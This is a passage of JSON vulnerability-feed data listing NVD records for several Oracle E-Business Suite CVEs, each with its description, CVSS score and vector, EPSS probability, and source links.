2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101835&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101835, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101834","cveId":"CVE-2026-101834","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).","summary":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in takeover of Oracle Shipping Execution. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in takeover of Oracle Shipping Execution. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:39.510Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101834","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00376,"percentile":0.31313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101834","type":"primary","publishedAt":"2026-10-20T22:18:39.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101833","cveId":"CVE-2026-101833","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data as well as  unauthorized update, insert or delete access to some of Oracle Shipping Execution accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Shipping Execution. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).","detail":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data as well as  unauthorized update, insert or delete access to some of Oracle Shipping Execution accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Shipping Execution. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:39.397Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101833","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00323,"percentile":0.25145,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101833&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101833","type":"primary","publishedAt":"2026-10-20T22:18:39.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101833&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101833, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101831","cveId":"CVE-2026-101831","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Quality product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Quality product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Quality.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Quality accessible data as well as  unauthorized access to critical data or complete access to all Oracle Quality accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Quality product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Quality.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Quality accessible data as well as  unauthorized access to critical data or complete access to all Oracle Quality accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:39.173Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101831","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00365,"percentile":0.30093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101831&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101831","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101831","type":"primary","publishedAt":"2026-10-20T22:18:39.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101831&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101831, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101830","cveId":"CVE-2026-101830","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Project Contracts product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Project Contracts product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Project Contracts.  While the vulnerability is in Oracle Project Contracts, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Project Contracts accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Project Contracts product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Project Contracts.  While the vulnerability is in Oracle Project Contracts, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Project Contracts accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:39.060Z","updatedAt":"2026-10-22T18:17:26.227Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101830","asOf":"2026-10-22T18:17:26.227Z"},"epss":{"probability":0.00326,"percentile":0.25449,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101830&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101830","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101830","type":"primary","publishedAt":"2026-10-20T22:18:39.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101830&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101830, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101829","cveId":"CVE-2026-101829","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server).","summary":"Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Application Server.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Application Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Application Server accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Application Server.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Application Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Application Server accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:38.950Z","updatedAt":"2026-10-22T16:17:19.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101829","asOf":"2026-10-22T16:17:19.900Z"},"epss":{"probability":0.00301,"percentile":0.22641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101829&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101829","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101829","type":"primary","publishedAt":"2026-10-20T22:18:38.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101829&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101829, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101827","cveId":"CVE-2026-101827","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HCM Common Architecture accessible data as well as  unauthorized access to critical data or complete access to all Oracle HCM Common Architecture accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L).","detail":"Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HCM Common Architecture accessible data as well as  unauthorized access to critical data or complete access to all Oracle HCM Common Architecture accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:38.720Z","updatedAt":"2026-10-22T16:17:19.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101827","asOf":"2026-10-22T16:17:19.770Z"},"epss":{"probability":0.00269,"percentile":0.18928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101827&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101827","type":"primary","publishedAt":"2026-10-20T22:18:38.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101827&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101827, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101826","cveId":"CVE-2026-101826","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in takeover of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in takeover of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:38.607Z","updatedAt":"2026-10-22T16:17:19.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101826","asOf":"2026-10-22T16:17:19.643Z"},"epss":{"probability":0.00301,"percentile":0.22575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101826&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101826","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101826","type":"primary","publishedAt":"2026-10-20T22:18:38.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101826&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101826, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101825","cveId":"CVE-2026-101825","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in takeover of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in takeover of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:38.497Z","updatedAt":"2026-10-22T16:17:19.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101825","asOf":"2026-10-22T16:17:19.510Z"},"epss":{"probability":0.00301,"percentile":0.22574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101825&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101825","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101825","type":"primary","publishedAt":"2026-10-20T22:18:38.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101825&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101825, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101824","cveId":"CVE-2026-101824","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Document Management and Collaboration product of Oracle E-Business Suite (component: Attachments).","summary":"Vulnerability in the Document Management and Collaboration product of Oracle E-Business Suite (component: Attachments).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Document Management and Collaboration.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Document Management and Collaboration, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Document Management and Collaboration accessible data as well as  unauthorized access to critical data or complete access to all Document Management and Collaboration accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Document Management and Collaboration product of Oracle E-Business Suite (component: Attachments).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Document Management and Collaboration.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Document Management and Collaboration, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Document Management and Collaboration accessible data as well as  unauthorized access to critical data or complete access to all Document Management and Collaboration accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:38.383Z","updatedAt":"2026-10-22T16:17:19.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101824","asOf":"2026-10-22T16:17:19.380Z"},"epss":{"probability":0.00288,"percentile":0.21196,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101824&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101824","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101824","type":"primary","publishedAt":"2026-10-20T22:18:38.383Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 